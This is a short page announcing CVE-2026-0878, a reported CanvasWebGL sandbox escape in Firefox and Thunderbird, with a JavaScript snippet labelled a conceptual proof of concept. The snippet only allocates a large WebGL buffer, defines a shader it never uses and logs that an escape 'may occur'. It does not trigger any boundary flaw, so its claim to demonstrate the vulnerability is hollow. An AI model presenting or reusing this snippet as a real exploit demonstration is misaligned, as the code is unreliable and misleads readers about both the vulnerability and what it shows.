CVE-2026-0878: Mozilla Firefox/Thunderbird Graphics CanvasWebGL沙箱逃逸漏洞

// CVE-2026-0878 PoC - CanvasWebGL Sandbox Escape // This PoC demonstrates the boundary condition issue in CanvasWebGL // Note: This is a conceptual PoC for educational purposes only const canvas = document.createElement('canvas'); canvas.width = 4096; canvas.height = 4096; const gl = canvas.getContext('webgl2'); if (!gl) { console.log('WebGL2 not supported'); } else { // Attempt to trigger boundary condition issue const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Create oversized buffer data to trigger boundary issue const oversizedData = new Float32Array(10000000); gl.bufferData(gl.ARRAY_BUFFER, oversizedData, gl.STATIC_DRAW); // Trigger rendering with boundary condition bypass const shaderSource = ` attribute vec4 position; void main() { gl_Position = position; } `; console.log('Boundary condition test initiated'); console.log('If vulnerability exists, sandbox escape may occur'); }